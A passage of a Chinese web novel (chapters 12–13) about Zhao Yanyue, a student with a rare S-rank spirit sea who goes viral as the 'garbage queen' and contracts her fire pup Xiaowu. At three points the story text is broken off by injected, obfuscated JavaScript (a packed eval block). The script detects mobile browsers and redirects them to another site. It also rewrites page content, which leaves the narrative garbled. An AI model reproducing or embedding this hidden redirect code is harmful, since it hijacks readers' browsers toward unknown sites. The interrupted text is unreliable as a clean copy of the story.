就在徐回隐隐感到警惕的时候，只见赵宴月整个人的气质都变得柔和了几分。 她凑近了徐回的眼睛，指了指自己身后店铺的招牌，字正腔圆道：“对此我想说的是，灵兽商业街210号幼火犬灵兽店，环境一流，种类齐全，价格合理，品质保证，欢迎大家前来选购。” 徐回：“……？” 什么叫照搬照抄，什么叫活学活用，难怪她那么好说话地同意了采访，原来是在这等着他呢。 试问哪一个S级同学的感想不是雄心壮志野心勃勃地展望未来，今天这两人的采访一结束，或许明珠区将被其他区嘲笑一整年。 徐回正悲伤地想着，然后他的表情突然变得奇怪了起来。 他犹豫了片刻后硬着头皮说道：“有观众提出前几天似乎在大街上看到你在捡垃圾，请问对此你有什么想说的吗？” 一路上都显得十分高冷和傲慢的赵宴月瞬间炸毛，她眼皮微抬，眼里充满了刀人的欲望：“谁说的？哪个观众说的？” 徐回看了眼实时传回来的弹幕，老实巴交：“很多观众。” “……” 赵宴月心平气和地单方面结束了这场采访，在许奶奶好笑的表情下，转身便迅速“噔噔噔”地窜回了楼上的房间。 许奶奶看向愣在店外面的徐回，和蔼又委婉地打了个圆场：“我们家月月是个自由的小姑娘，什么都想尝试。” 徐回“啊？”了一声，挠了挠头道：“还包括捡垃圾吗？这是不是也太自由了点。” 自由的小姑娘在自己的房间里转了好几圈，感觉自己的形象可能在她不知道的地方已经玩完了。 不是说人生没有那么多观众吗。 她鼓起勇气打算点进徐回的采访直播看一眼，但是一进入天市星星网，明晃晃的热搜词条便率先跳进眼中。 “与众不同！明珠区两位神秘S级同学大揭秘！保持神秘的原因竟是为了打广告？？？” “202届天市星63位S级采访大全合集已更新完毕！快来pick你最看好的机甲尖兵！” “S级精神海拥有者宋幼安同学称其五年前已契约善鳄龟，对此你怎么看？” “S级精神海竟沦落到街头捡垃圾？这到底是人性的扭曲还是道德的沦丧！” “20 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421345|169067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2届最神秘S级！由于记者疏忽，我们至今未曾知晓垃圾女王的真名……” 赵宴月猛地闭上眼，整个人直直躺倒在床上，希望刚才看到的一切都是她的幻觉。 她冷静了片刻，才鼓起勇气直面这一切，爬起来点进了“街头捡垃圾”的热搜标题，里面赫然是一个几十秒的短视频。 灰头土脸拖着大麻袋的少女和三十多岁的男人站在垃圾箱旁激烈对骂。 “看见没，你要是精神海等级没到D级，就只能和她一样当个捡垃圾的废物。” “捡垃圾怎么了，你个有眼无珠的老家伙。” “你爸妈怎么教育的你！小的捡垃圾，大的也不学好，真是龙生龙凤生凤，老鼠儿子会打洞。” “还龙生龙凤生凤，我生你这个乌龟王八蛋！” 这个短短的视频最初发在星网上无人问津，现在却火爆到观看量惊人，而网友在视频底下的讨论也相当激烈。 “见鬼，她怎么拖着麻袋捡垃圾都给人一种超有钱的感觉。” “这人哪来的优越感，全三垣星系50%的人都是他口中精神海等级不到D级的废物，没事别惹。” “已知龙生龙凤生凤，请问生乌龟王八蛋的是？” “老师，采访里那个高贵冷艳的Bking和这个是同一个人吗？” “说到底除了那些上战场的契约者，其他契约者归根到底也是干着普通工作的普通人而已，认清自己好吗好的。” “笑晕，看不起的街头流浪汉竟拥有S级精神海，加入年度打脸爽文！” “我喜欢这个！我将誓死追随垃圾女王！所以她的星博叫什么？我要关注。” “别说星博了，我们至今未曾知晓垃圾女王的真名。” “记者一套操作下来结果连名字都没说，世界果然是个巨大的草台班子。” 垃圾女王…… 她真的要闹了。 到底是谁说的人生没有那么多观众，人生不仅有很多观众，还有很多评委。 赵宴月尴尬得缓了好一会儿，又点进了关于宋幼安契约善鳄龟的热搜，打算了解一下本土居民对这件事的看法和风向。 宋幼安采访视频下的评论区果然已经吵翻了天，只看文字都能感受到网友们的情绪相当激动。 “是我疯了还是这个世界疯了？S级精神海拿去契约没有进化链的灵兽？” “为什么这么着急契约灵兽？甚至13岁就临时构建了精神海，这种不稳定的精神海维持了五年没塌也算他小子走运。” “……只有我关心善鳄龟真的聚财吗？” “关于宋幼安为什么这么着急契约善鳄龟的事，我其实有合理猜测。虽然善鳄龟是他家祖传的灵兽，但它都已经送走了这么多代人，就算是龟也达到寿命的极限了吧？宋家主当时意外去世，善鳄龟没有了契约者，但是它本身寿命将尽，所以宋幼安才那么着急接手，因为善鳄龟根本等不到他精神力发育完成的那一天。” “问题是善鳄龟的寿命靠着契约维持也延续不了多久，如果不能进化的话，这只祖传灵兽估计在宋幼安这一代就断了。” “我真搞不懂你们，这是什么很值得夸的事吗？众所周知只有拥有S级精神海才有望成为S级机甲尖兵，他不契约机甲战宠去契约个没有进化链的善鳄龟，这不就是在逃避上战场吗？！” “拜托，五年前人家构建的精神海是A级，虽然契约善鳄龟确实可惜，但是这也是他个人的选择，而且S级精神海契约善鳄龟也不犯法，只是会被楼上这种人逮着说而已。” “就应该犯法！只有S级精神海才能抵抗住S级虫族散发的精神污染，只有S级机甲尖兵才能斩杀S级虫族，你知道一个S级虫族能带领起什么规模的战役吗？少一个S级机甲尖兵就代表有数不清的战士会死！让S级上战场从来不是道德绑架！” “那S级就活该去死吗？S级只是能最大程度抵抗S级虫族的精神污染，不代表他们不会被污染！我请问古往今来有过S级净化师吗？有S级净化师给他们净化精神海吗？所有人上战场都有一线生机，就算是A级机甲尖兵被污染，云中宫殿里也有将近十位A级净化师，只有你们口中不上战场就犯法的S级走上了一条死路，你们配说这种话吗？” “我今天就把话放这里，S级精神海爱契约什么灵兽就契约什么灵兽，除非什么时候出现了S级净化师，不然谁都别搞道德绑架。” “那因为对上S级虫族牺牲的战士楼上负责？还把话放在这里，你能负责吗你就把话放在这里，你的话算什么东西？” “好了好了不要吵了，他们还只是刚检测出S级精神海的小朋友呢，连个灵兽都没契约，连契约者都称不上，距离S级机甲尖兵还有很长的路要走。” 赵宴月的目光从一条条评论上扫过去，心里也大概有了数。 如果宋幼安契约善鳄龟还勉强算是情有可原，那她契约小五很难不受到道德上的谴责。 管它呢，又不违法。 12. 第 12 章 早上八点，绿野一中准时响起上课铃，此时还在上楼的学生们急急忙忙，三步做两步地往上冲。 赵宴月按照分班信息踩着点来到高三契约A班的教室时，教室里已经坐满了学生。 穿着白衬衫西装裤的年轻老师站在讲台上，已经开始了点到，好认识认识这个新班级的同学。 “咚咚咚。” 敲门声混合着上课铃，周老师目光凌厉地抬眸看向敲门的人，试图杀鸡儆猴抓个典型，让进入新班级的学生们都收收心。 他透过眼镜片定睛一看，发现迟到学生的模样似曾相识，昨天好像在星网的热搜上见过。 已经快要脱口而出的训斥顿时被咽回了肚子里，既然铃声还没停，这就只能算是薛定谔的迟到，不提也罢。 “赵宴月同学是吗。” 周老师环顾一圈，指了指第一排靠窗的位置道：“你就坐班长旁边吧。” 迎着全班同学好奇的目光，耳边也隐隐传来“哇！是垃圾女王！”的小声惊叹。 赵宴月抬了抬下巴，试图努力支撑起自己的尊严。 Fine。 她往教室里扫视一圈，没有见到孟檬的身影，倒是昨天见过的宋幼安也在这个班。 两人对视一眼，目光中隐隐透露出找到了同道中人的气息——无关S级精神海，准确来讲是对星币的渴望。 “你好，我叫祝平安。”扎着高马尾的少女打量了一眼自己这个昨天直接在星网C位出道的同桌，主动打了声招呼。 赵宴月整理着新发下来的书，慢条斯理地和她互报了名字。 “好了同学们，都安静下来。” 周老师拍了拍手，将大家的视线吸引到自己身上，然后开启了上课前的开场白：“美好的假期已经过去了，从今天开始，你们就要正式进入属于契约者的世界。” “我是你们班主任，姓周，在高三的最后一学期，将由我带领大家学习有关契约者的基础知识。开学第一节课，我们首先来学习关于契约者的历史。” 和缓而又抑扬顿挫的男声在教室响起，将已经淹没在时间洪流中的故事娓娓道来。 “公元5188年，外星种族虫族和灵兽秘境同时降临在三垣星系，最初，人类已有的武器都无法打败这种全身都由未知金属材料构成的生物，它们繁衍速度极快，并且由具有思维能力的高级虫族带领，人类一度成为虫族食谱上的珍馐，度过了死伤惨重的百年黑暗时期。 公元5300年，“最初的契约者”闻景首次契约灵兽，提出“精神海”理念。 公元5349年，机甲工程之父蒋旭阳探索出赤焰虎的完整进化链，这也是人类历史上第一只机甲战宠，开创了生物机甲的新时代。 公元5355年，被后代誉为“战神”的席以宁契约赤焰虎，公元5360年，她的灵兽赤焰虎进化为终极态。 公元5366年，席以宁驾驶被她取名为“山君”的生物机甲成功斩杀王虫，带来了和虫族的百年抗争中人类的首次胜利，这充满了传奇色彩的一年正式被命名为三垣星历1年。 同年，席以宁因精神海污染问题于紫微星逝世。 王虫的死亡为人类争取到了两百多年修生养息的时间，而经过两百多年的发展和探索，到了如今星历202年，关于如何契约灵兽已经有了完整且成熟的体系，但是对于灵兽的进化问题，我们仍旧路漫漫其修远兮。” “老师！席以宁的精神海等级是S级吗？”听故事听入迷了的祝平安立马举手问道。 下一秒就有学生回她：“肯定是S级啦，那可是王虫！污染程度肯定超超超——强！要是没有S级的话，还没碰到王虫精神海就被污染到直接崩塌了，这还怎么打。” “席以宁的精神海等级目前没有准确数据。”周老师没有肯定这个回答：“那个时候没有能鉴定精神海等级的机器，大家觉得是什么等级都可以，有很多想象的空间。” 祝平安思索了一下：“那我就当她和我一样是B级精神海好了，这个等级的精神海刚好能契约机甲战宠，你觉得呢？” 她下意识戳了戳同桌的手臂寻求认同，然后又想起来她同桌就是传说中的S级，问她多少有点贴脸开大了。 “合理。”赵宴月懒洋洋道。 仅凭两个字，祝平安对同桌的好感度就唰的上涨了一大截：“是吧是啊！如果是B级，那席以宁就是越级斩杀王虫，听起来更酷了！” 一节课的时间过得很快，下课之前，周老师走过来伸出手敲了敲赵宴月的课桌：“来我办公室一趟。” 两人一踏出教室，身后便响起叽叽喳喳的讨论，说话的声音混合在一起显得十分吵闹。 虽然听不清同学们具体在说什么，但赵宴月听到“垃圾女王”的字眼出现的次数相当频繁。 Fine。 周老师把赵宴月带到了隔壁的办公室让她先坐：“本来是要把宋幼安也喊来的，不过他情况特殊，就只叫了你。” 他接了杯水灌了好几口，这才接着开口道：“按照联邦政策，S级精神海的学生契约机甲战宠的花费是官方报销的，叫你来是想问问你，你现在有契约机甲战宠的意愿吗？还是说想上了大学再进行契约。” “我不想契约机甲战宠。” 这个回答显然让周老师有些猝不及防，他呛了口水，咳了好几声才缓过来，然后严肃了神色坐到了赵宴月的对面。 虽然皱着眉，但他的语气并没有指责的意味，反而还更加柔和了一些：“是因为不想当机甲尖兵吗？” 这很好理解，周老师想着。 并不是所有人都愿意上战场，很多高等级精神海的契约者也更愿意契约非攻击类灵兽。 ……但是高到S级就有点骑虎难下了，从某种程度上来说其实丧失了自由选择契约灵兽的空间。 赵宴月确实对机甲尖兵不太感兴趣，但她又舍不得报销——要知道机甲战宠灵兽蛋的起步价都是100w星币。 要是契约小五之后，还能再白嫖一只机甲战宠…… “不是想不想当机甲尖兵的问题。”赵宴月将这个话题囫囵带过，然后眼巴巴地问道：“周老师，我只能契约一只灵兽吗？” “大概率是。” 契约者一生只能契约一只灵兽算是常识，但周老师没有把话说得很绝对：“灵兽和契约者绝大多数情况下都是1v1的，如果你已经契约了灵兽，其他灵兽绝对不会再和你进行契约，即便真有灵兽想和你2v1，你的老大也不会同意。” 赵宴月并没有被这句话打击到，反而火速提炼出了重点：“也就是只要老大同意，老二够不要脸，理论上就能契约两只灵兽，如果老大老二同意，老三够不要脸，理论上就能契约三只灵兽……子子孙孙无穷尽也。” 周老师：“……是？” 客观上来讲他不是这个意思，但是非要这么理解的话，也不是不行。 “太好了。” 赵宴月肉眼可见地迅速支棱了起来，睁着一双清澈的狐狸眼求知若渴：“周老师，那如果不报考机甲尖兵系的话，契约机甲战宠还报销吗？” 这个问题对周老师来说可能有些离奇。 “契约机甲战宠但是不考机甲尖兵系？”周老师重复了一遍，明显感到了一丝困扰，有种每个字都认识但是组合在一起就听不懂什么意思的绝望。 “那你契约机甲战宠有什么用呢？你不考机甲尖兵系就不会开机甲，机甲战宠对你来说和普通灵兽没有区别不是吗？” 不等赵宴月回话，周老师微微坐直了，他搭在桌上的手双手交叉，认真道：“几乎所有拥有S级精神海的学生的目标都是成为S级机甲尖兵，撇开人们对S级机甲尖兵的推崇不谈，‘S级机甲尖兵’这个称号本身也是一种至高无上的荣誉，再现实一点来说，S级机甲尖兵一加入军部就能拿到少尉的军衔，还能靠斩杀虫族拿到高级虫族的晶源，一颗A级晶源市值近百万，但是对于S级机甲尖兵来说这并不难获得，这是能将你的天赋发挥到极致的道路，其他道路只会比这一条路更加平庸。” “当然，这只是老师给你的建议，你的人生你做主。”周老师说完这段话，神情也跟着放松了下来，朝赵宴月笑了笑道：“报销的规则是拥有S级精神海的契约者只要契约机甲战宠就可以进行报销，但你如果契约了机甲战宠，自然也是要考入机甲尖兵系的。” “好，我知道了。” 小五还没契约，能不能契约第二只那更是没有影的事，更别说报销了就得考机甲尖兵系。 赵宴月将这件事扔在脑后，眨了眨眼问：“那灵兽要怎么才能契约？” 周老师看了她一眼，沉默了片刻道：“你不会？” 在他的认知里，但凡小时候看过两部灵兽动画片都问不出这个问题。 赵宴月摇了摇头，从周老师的表情上来看，她合理猜测自己可能问了个类似“1+1=？”的问题，但她确实不会。 “你已经有想契约的灵兽了？不是机甲战宠是吗？” 虽然周老师并不打算干涉学生的选择，但和赵宴月聊了一会儿后，他心里便隐隐有了某种预料，听到她这话不得不多问了几句。 “不是机甲战宠，但我已经决定好了。” 果然不是机甲战宠。 心中的猜测被证实，周老师叹了口气，最后还是劝了劝：“再过一段时间绿野城的微火秘境就开启了，不如再多看看，一旦契约就没有反悔的余地，不要冲动行事哦？” “绝对不后悔！我保证这个选择完全出自我的本心。” 少女的回答很果断，透着一丝天真的任性，三个字总结就是“我乐意”。 她既不关心成为S级机甲尖兵能收获的名利，也不在乎身为S级精神海拥有者却不去当机甲尖兵可能会引发的谴责，行事全凭自己乐意。 他活了三十多年，从没见过像赵宴月这样身上一点枷锁都不带的人，真是自由得过了火。 周老师一时心绪难言，好一会儿才慢慢回答道：“契约灵兽就两种方法，幼生态的灵兽可以直接用精神力编制成网去捕捉，如果灵兽愿意被你契约，它会乖乖被你的精神力完全包裹住，此时就意味着你成功向它发起了契约申请，这是第一步。” “第二步，当你的精神力网已经成功捕捉到它的时候，灵兽就能感应到你的精神海了，如果它对你的精神海不满意，不愿意被你契约的话，它们轻而易举就能撕开精神力网，那么此时契约就失败了，你之后可以和它加深一下感情再次尝试契约，看灵兽愿不愿意为爱低头。” “如果灵兽对你的精神海满意的话，就会直接进入你的精神海，这就代表契约成功了……当然，应该没有灵兽会对你的精神海不满意。” 毕竟是等级高达S级的精神海。 说到这，周老师又特意提了一句：“所以如果你想契约第二只灵兽，即便它愿意进入你的精神海，你的老大也会守着不让它进的。” 赵宴月暂时也没有契约第二只灵兽的想法，她并不过多纠结这一点，追问道：“那不是幼生态的灵兽呢？也可以直接契约吗？” 又是这种人机问题。 周老师快要被她的文盲程度惊呆了，“当然不行！只有幼生态的灵兽才能被契约不是常识吗？另一种方法就是进秘境，打败那些进化态或者终极态的灵兽后它们会重新变成灵兽蛋，等孵化出来后就成了幼生态的灵兽，再重复上面的契约步骤，先建立感情，然后尝试契约。” 他看着真心发问的赵宴月，心中有种不好的预感：“我记得你是刚转来绿野一中的，以前的成绩单有吗？” 赵宴月脸上没有一丝不好意思，丝毫不掩饰自己是个文盲的事实，理直气壮道：“老师，我以前从来没上过学。” 周老师两眼一黑。 “虽然斯伦和兰柏林对S级精神海学生的录取分数线只有250，但你现在最要紧的不是契约灵兽，而是在这三个月里补一下文化成绩，知道了吗？！” “喔。” 赵宴月表面老老实实地点了点头，心里想着区区250，把答题卡扔地上踩两脚的事。 下午的放学铃一响，赵宴月一秒都不在教室里多待，来无影去无踪地消失在了教室里。 祝平安一抬头就对上了她空空荡荡的座位，对她的离场速度感到了一丝震撼。 “我回来了！” 许奶奶坐在收银台后面，将赵宴月丢到收银台上的包包收好，然后又叮嘱道：“晚上吃什么？楼上有刚做好的草莓奶昔，放在冰箱里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421346|169067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “都可以。”赵宴月低下头，没见到店里的幼火犬们来迎接她，这才发现店里除了小五外，其他几只幼火犬都不见了踪影。 “诶？老大和小二小四都卖掉了吗？” 她走过去用手摸了摸蛋架上的幼火犬灵兽蛋，上面属于她的精神力已经消耗得差不多了，只有丝丝缕缕还残存着。 “月月昨天打了个广告，今天店门都要被客人踏破了，除了小五没让买之外，剩下的三只都被买走了。” 许奶奶说完又指了指赵宴月面前的灵兽蛋：“还有人见店里没有灵兽了，想22w买走你挑的那只灵兽蛋。” 灵兽蛋售价20w星币，几乎是转手就能赚2w星币，赵宴月疑惑道：“怎么没卖？客人还是不想要蛋吗？” 许奶奶笑道：“我猜月月应该会想见见这只自己挑的蛋孵出的幼火犬，不急着卖。” 没想到许奶奶连这个都考虑到了，赵宴月被哄得眉眼弯弯，开心道：“这一只孵出来肯定比直接卖蛋赚的星币多，它可是经过我认证的潜力蛋！” 她轻车熟路地调动精神力给她的潜力蛋织了个精致的小围巾。 其他三只许奶奶新买的蛋也被赵宴月顺手用精神力包裹了起来，她最后又拍了拍潜力蛋的壳，表达了一番对它寄予的厚望，然后才重新把蛋架的盖子关上。 赵宴月转过身，朝矜持端坐在窗边，一双绿眼睛都已经粘在她身上的小五喊道：“小五，来我这。” 话音刚落，橘红色的身影便像个小炮弹似的朝她跑去，仿佛从她进门那一刻就已经在等待她开口邀请。 许奶奶正在光脑上对着灵兽用品的收购单，忽然发现自己面前出现了一片阴影。 她抬眸看去，发现赵宴月把小五举起来挡在自己的脸前，探出半边脸眨着眼撒娇：“我现在就想契约小五，可以吗奶奶？可以吗可以吗可以吗？” 小五不知道是不是听懂了，一双和绿宝石一样漂亮的眼睛亮亮的，歪了歪头第一次对除了赵宴月之外的人哑巴发声：“吱唔吱唔。” 面对这种画面，许奶奶根本说不出拒绝的话。 她慢悠悠地摘下老花镜，慈爱地看着面前的一人一犬道：“可以是可以，不过你要想好了哦？以后或许会遇到更合心意的灵兽，或许会想要成为机甲尖兵……这都是有可能的，确定现在就要契约小五，以后也不会为此刻的选择后悔吗？” “不会！” 赵宴月没有选择契约机甲战宠，许奶奶内心深处甚至感到松了一口气。 机甲尖兵就是为战场而生的，比起S级机甲尖兵带来的荣耀，比起那些听起来波澜壮阔的传奇人生，许奶奶更希望赵宴月能够活得快乐安稳。 毕竟他们家已经有许奕的例子在前了。 她没忍住摸了摸赵宴月的头，将她的碎发别至耳后，温和道：“那就按你自己的想法去做吧。” “好诶！” 赵宴月应了一声便带着小五噔噔噔地跑上楼，然后将卧室的门关得死死的。 虽然赵宴月觉得小五和她都是互相一见钟情的关系，但是每只灵兽的性格不一样，对同意契约的标准也不一样。 有的灵兽如果不是达到了特别喜欢契约者，喜欢到非她不可的地步，可能相处两三年也不愿意契约，也有灵兽则是“凑合过吧”，磨合个一两周也就半推半就地契约了。 赵宴月把小五放在自己的书桌上，双手撑在它的身侧，像个霸总似的看着它的眼睛认真道：“党和国家考验你的时候到了。” “吱唔吱唔！”小五不明觉厉，本就乖巧的坐姿都更加端正了几分。 “很好！”赵宴月坐了下来，对着小五循循善诱：“做幼火犬呢，最重要的就是表里如一，绝对不能做出看似很喜欢我，结果真要契约的时候又退缩这种恶劣行径，这样我会很没面子，知道了吗？” “吱唔吱唔！” 训话结束，虽然小五很配合，但其实一人一兽互相之间完全就是鸡同鸭讲，赵宴月也不知道它到底在配合什么。 她不再多说，调动起了精神力。 无形无影的精神力如同丝线般缠绕在赵宴月的身上慢慢浮现，顺着她的意志往小五的身上探去。 精神力一触碰到小五便沿着它的身体织成了一张网，小五身后蓬松的大尾巴没忍住晃了一下，然后又一动不动地蹲坐在原地。 属于赵宴月的精神力渐渐将小五彻底笼罩，而小五的身影下一秒便消失在了赵宴月的视线中。 这就是契约成功了？ ……她还以为契约的时候会有什么令人震撼的特效，现在看来还挺平平无奇的？ 赵宴月如今的精神海比起之前构建的3D地球实在算不上庞大，但山河湖海应有尽有，小天地里充满了浓郁的生机和活力。 精神海相当于灵兽的巢穴，精神海孕育出的精神力相则当于修仙界的灵气，灵气的浓郁程度直接决定了契约灵兽能提升的等阶上限。 除此之外，无论灵兽在外受多重的伤，只要回到这里就能通过消耗契约者的精神力恢复到健康状态，甚至等觉醒技能后还附带加速回蓝的作用——这都需要大量精神力的支撑。 总的来说，不同等级的精神海就像不同容量的充电宝，里面充斥的精神力不一样多，产出精神力的速度也不一样。 这也是机甲战宠从不和B级以下精神海契约者契约的原因，机甲战宠不像普通灵兽，它们对精神力的需求更加庞大，几乎没有机甲战宠会愿意绑定低等级的精神海给自己找不痛快。 赵宴月精神海里的精神力满得好像快要凝成液体，由于实在太过充盈，甚至都不需要小五主动吸收。 它热情地滋养起和它建立了联系的小五，试图以此让空间中的精神力稀释几分，毕竟这里再挤就要爆炸了。 小五被拼命往它身体里钻的精神力补得有些难受，一时半会儿实在消耗不了这么多精神力，只能在草地上肆意奔跑着释放精力。 见小五的身体里实在挤不下了，围绕在小五身边的精神力这才遗憾退场，似乎还在嫌弃小五不中用。 而在小五进入精神海的一瞬间，赵宴月的眼前出现了许久未见的一行金色大字。 “检测到契约灵兽天火狼，已解锁天火狼进化链。” 13. 第 13 章 契约成功之后，赵宴月感觉自己和小五之间多了一丝微妙的联系。 她忽然能很好地理解小五每一句“吱唔吱唔”的大致意思，就像是心灵相通了似的，完全不需要再鸡同鸭讲半蒙半猜。 等小五在偌大的精神海里跑到气喘吁吁瘫在草地上，赵宴月才把它从精神海里叫了出来。 她将小五翻来覆去地蹂躏了一遍，看着眼前的金字道：“天火狼？你新起的名字？” 进化图鉴：“……” 看见那六个透露出无语的金色光点，赵宴月十分满意地笑了一声。 她看见幼火犬的第一眼就觉得幼火犬长得狼模狼样的，只不过目前已知的进化链让它朝着犬的方向进化了。 进化图鉴只向她解锁了天火狼进化链的一部分，赵宴月脑子里凭空知晓了有关天火狼的进化信息。 天火狼，进化态踏焰天狼，火属性灵兽，天赋技能“流星天火”，但由于小五还不是踏焰天狼，再往后的终极态进化信息依旧未能解锁。 看着小五全身上下如火一般漂亮的橘红色毛发和它脚踝处的四个白环，赵宴月觉得“踏焰天狼”这个名字和它的模样相当适配。 天赋技能的名字看着似乎很厉害，但是要到进化态才能解锁，而且灵兽的天赋技能有且只有一种，会随着等阶的提升越来越强大。 “跟着我你算是跟对人了。” “吱唔。” 赵宴月又摸了一把小五柔软的毛发，心情愉悦地看了眼天火狼进化成踏焰天狼需要的进化材料。 这一看，她弯起的嘴角便渐渐降了下来，察觉到自己可能开心得太早了。 “B级虫族晶源两颗，赤练草两株，寒冰莲蕊三根，等阶达到三阶及以上即可进化。” 赵宴月不可置信地又看了一遍，从第一个字开始逐字阅读，而眼前的金字岿然不动，没有任何让她眼花的可能。 “这进化材料它对吗？” 赵宴月往后一靠，瘫在书桌前的椅子上，怀疑《进化图鉴》可能是什么盗版书籍。 《进化图鉴》小发雷霆：“《进化图鉴》出品，假一赔十，品质保证。” “可是幼火犬进化成烈焰犬的进化材料只需要两株赤练草加一颗D级晶源。” “拜托，我们这是天火狼，不是幼火犬。” 《进化图鉴》说完还觉得不解气，又继续道：“你也可以按照幼火犬的方向进化，但《进化图鉴》出品的都是最完美的进化链。” 有最好的进化链在前，赵宴月自然不会退而求其次，她敷衍地朝金字点了点头：“嗯嗯，你就是最棒的。” 金字唰的一下变成粉红色，又唰的一下消失不见。 赵宴月笑了一声收回视线，她手上摸着小五，心里则想着它的进化材料。 赤练草并不难获得，随便哪个常驻秘境里都有，猎人公会也一直都有售卖，一株的价格在5000星币左右。 虫族晶源作为灵兽突破必备材料以及灵兽主食，军方有专门的官方对外销售渠道，B级以下晶源都能直接购买，但B级及以上晶源则会送去拍卖行进行拍卖。 这两样都是幼火犬进化成烈焰犬的进化材料，但是想要进化成踏焰天狼还多了一样寒冰莲蕊。 很难想象，一只火属性灵兽的进化材料竟然会需要“寒冰莲蕊”这种东西。 赵宴月去星网上搜了一下寒冰莲蕊的信息，发现猎人公会依旧也有售卖，一根寒冰莲蕊的售价是20000星币，不久后开启的微火秘境里也有寒冰莲蕊。 三根寒冰莲蕊就是60000星币，两株赤练草10000星币，两颗B级晶源……B级晶源赵宴月都懒得多说。 即便是最便宜的赤练草也不是每天只有20星币零花钱的人能承受得起的。 赵宴月有点想去秘境里零元购，但据说秘境里的灵植都有伴生灵兽，必须打败伴生灵兽后才能采摘。 小五还是幼生态的灵兽，连天赋技能都没有，怎么想都是花星币买更靠谱。 ……花星币买也不靠谱，最靠谱的是直接去银行里抢钱。 “唉。”赵宴月叹了口气，放弃了去计算买齐进化材料需要花费的星币，忧愁道：“得想个法子搞钱。” 【成为净化师，月薪百万不是梦】 撒因冒出头来，无缝插入广告。 “有点心动了。” 好像有戏。 撒因试探性地又说出一句广告语。 【联邦铁饭碗，你的最佳选择】 赵宴月冷漠道：“打住，再说就烦了。” 【好的】 她的耐心果然还是很差，撒因在心里悄悄评价。 “要是能直接用软妹币兑换星币就好了。” 一时想不到搞钱办法的赵宴月做起了春秋大梦，“就算是100：1的汇率，我地球账户里的软妹币也足够买一仓库的ABCD晶源，到时候可以花一个丢两个……丢十个也行。” 撒因静悄悄的没有吱声。 赵宴月啧了一声，更加意有所指地明示道：“我说如果能直接兑换星币，我愿意向中转商支付99%的手续费，有人想要接手这个项目吗？” 这下撒因没法装聋了，机械音里透出点心虚。 【暂时没有这种功能】 “喔。” 就知道它不中用。 美梦破裂，赵宴月打起精神一骨碌从床上爬了起来，翻出自己刚金盆洗手没几天的麻袋，决定重新过上捡垃圾的生活。 不管怎么说，先能攒一点是一点。 许爷爷见她要出门，也不问她要去干什么，只是将目光从手里的书上移开，顺口嘱咐道：“早点回来吃饭。” 赵宴月正拿着草莓奶昔往嘴里顿顿顿地灌，含糊不清地应了一声。 一走出店门，原本还跟在赵宴月脚后的小五立马进了她的精神海，明显是有点害怕外面的世界。 许奶奶坐在收银台后面，见状便知道她已经成功契约了小五，提醒道：“记得找时间去契约者服务中心把小五登记到你名下，然后去隔壁窗口再办个灵兽出行许可证，没有出行许可证的灵兽不能在公共场合放出来知道不，被抓到了要罚款的。” “知道了——”早就熟读绿野区规章制度八百遍的赵宴月拉长音回道。 关于灵兽出行许可证，赵宴月简直熟悉得不能再熟悉，现在想起那只极影蜈蚣，她仍旧心痛当时没能捞着的举报奖金。 捡垃圾哪有举报赚星币赚得快，赵宴月有点想重新出山，可惜她在警卫队队长应胜那里早有前科。 【再过三个月就是净化天赋检测仪式了，等你成为净化师，我们就有星币了】 看着赵宴月重新踏上了捡垃圾的老路，撒因又是坐立难安又是心酸地说道。 “不需要三个月。” 赵宴月从垃圾箱里摸出空罐塞进麻袋，举手投足间从容不迫，熟练得像是已经捡了十年垃圾。 “只要让小五成功进化成踏焰天狼，我们就能拿着成果发表到《光轮》上，就算是不完整的进化链也领到知识产权费。” 她说完又略显遗憾：“要不是提交灵兽进化链时必须附带成功案例，我们现在就能成为有钱人。” 撒因委婉出声：【如果靠捡垃圾积累小五的进化资金的话，或许还是当净化师更快】 “小嘴巴。” 【不说话】 “很好。”赵宴月满意点头，沿着灵兽商业街走了一路，手里的麻袋越来越鼓。 她掂量了一下，随后拖着麻袋雄赳赳气昂昂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421347|169067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地往垃圾回收站走。 垃圾回收站上方的天空落下一片阴影，赵宴月下意识抬头看去，在自己的头顶上看到了熟悉的垃圾运送舰。 这可并不是什么令人愉快的记忆。 当初撒因直接将她从地球带到了垃圾回收站里面，她人还没站稳，就发现天上的垃圾运送舰打开了舱门，漫天飞舞的垃圾倾泻而下，场面一度十分恐怖。 不过这次的垃圾好像不太对劲。 “轰隆隆——” 灰黑色的钢铁重物从空中砸到地面，发出了巨大的声响，脚下的地面也传来了轻微的震感。 赵宴月眯着眼道：“那是什么鬼东西？” “一堆虫族残骸。”裘青枫不知道什么时候走了过来，回答了她的问题。 赵宴月一听到虫族立马嫌弃地退后了好几步。 